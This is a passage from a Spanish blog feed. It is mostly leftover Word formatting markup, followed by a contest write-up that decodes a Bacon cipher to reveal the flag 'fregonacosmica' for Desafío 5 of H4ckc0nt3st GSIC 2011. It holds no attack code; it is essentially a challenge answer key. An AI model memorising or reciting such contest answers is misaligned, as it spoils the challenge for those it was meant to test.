Grid 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Revision&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;34&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;List Paragraph&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;29&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Quote&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;30&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Intense Quote&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 3 Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid Accent 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 3 Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid Accent 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 3 Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid Accent 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 3 Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid Accent 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 3 Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid Accent 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 3 Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;70&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Dark List Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;71&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Shading Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;72&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful List Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;73&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Colorful Grid Accent 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;19&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Subtle Emphasis&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;21&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Intense Emphasis&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;31&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Subtle Reference&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;32&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Intense Reference&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;33&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Book Title&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;37&quot; name=&quot;Bibliography&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; qformat=&quot;true&quot; name=&quot;TOC Heading&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:&quot;Tabla normal&quot;;  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-parent:&quot;&quot;;  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin-top:0cm;  mso-para-margin-right:0cm;  mso-para-margin-bottom:10.0pt;  mso-para-margin-left:0cm;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;  mso-ascii-font-family:Calibri;  mso-ascii-theme-font:minor-latin;  mso-hansi-font-family:Calibri;  mso-hansi-theme-font:minor-latin;  mso-bidi-font-family:&quot;Times New Roman&quot;;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=&quot;line-height: 115%;font-family:arial;font-size:100%;&quot;  &gt;Tenemos como referencia la palabra “Laconada” que aparece al colocar el ratón encima de los bloques.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;Buscamos en &lt;a href=&quot;http://www.cryptool-online.org/&quot;&gt;&lt;span style=&quot;color:navy;&quot;&gt;www.cryptool-online.org&lt;/span&gt;&lt;/a&gt; y encontramos un tipo de codificación llamada “bacon” que consiste en:&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:85%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:85%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: center; font-family: arial;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7dKa-W45qu5Z6PceZ_YN8H2Af8cftNJcWN5dEjqIC1Pf-oTBCFtHqfBmW1mJwOPVKZpiI0vrLiyUBPWcQMSb8RFgvDjxl0wOie-G_ZzPMvpb4TULlpsgfZ1kM6tAuRQWfofNk1NZVMGt6/s1600/convertir.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 219px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7dKa-W45qu5Z6PceZ_YN8H2Af8cftNJcWN5dEjqIC1Pf-oTBCFtHqfBmW1mJwOPVKZpiI0vrLiyUBPWcQMSb8RFgvDjxl0wOie-G_ZzPMvpb4TULlpsgfZ1kM6tAuRQWfofNk1NZVMGt6/s400/convertir.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601112350842174498&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:85%;&quot; lang=&quot;EN-US&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;Haciendo la conversión obtenemos la clave del desafio:&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00101 – aabab – F&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;10000 – baaaa – R&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00100 – aabaa - E&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00110 – aabba - G&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;01101 – abbab - O&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;01100 – abbaa - N&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00000 – aaaaa - A&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00010 – aaaba - C&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;01101 – abbab - O&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; lang=&quot;EN-US&quot; &gt;10001 – baaab - S&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; lang=&quot;EN-US&quot; &gt;01011 – ababb - M&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; lang=&quot;EN-US&quot; &gt;01000 – abaaa - I&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00010 – aaaba - C&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: justify;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;  &lt;/div&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;00000 – aaaaa - A&lt;/span&gt;&lt;/p&gt;&lt;p  style=&quot;text-align: center;font-family:arial;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:100%;&quot; &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:85%;&quot; &gt;&lt;span style=&quot;;font-family:arial;font-size:100%;&quot;  &gt;Solución: fregonacosmica&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/8556283723493035400/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-5-h4ckc0nt3st-gsic-2011.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/8556283723493035400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/8556283723493035400'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-5-h4ckc0nt3st-gsic-2011.html' title='WriteUp - Desafío 5 - H4ckc0nt3st GSIC 2011'/><author><name>B4RRe1R0</name><uri>http://www.blogger.com/profile/16303833812986131301</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://2.bp.blogspot.com/-XH9xWNKExsQ/T5ZnRpRzcWI/AAAAAAAAIYU/z4t5EDVFwgU/s220/B4RRe1R0.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4fTmJ7uEbs-W_JPwHuARJtkBCffLh6sWajhApEoNKvmw2LMOT0S9YMtvbLGd3kln8B_1hlCTTlg8h5mTqkFg7T1Df-D74_VGSLhTOl4NyQocVtY1pk2gTJY603VDp2PrmwI2m1lCJECCE/s72-c/descripcion.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-4359516448864418092</id><published>2011-04-29T03:34:00.051+02:00</published><updated>2011-04-29T18:29:26.726+02:00</updated><title type='text'>WriteUp - Desafío 11 - 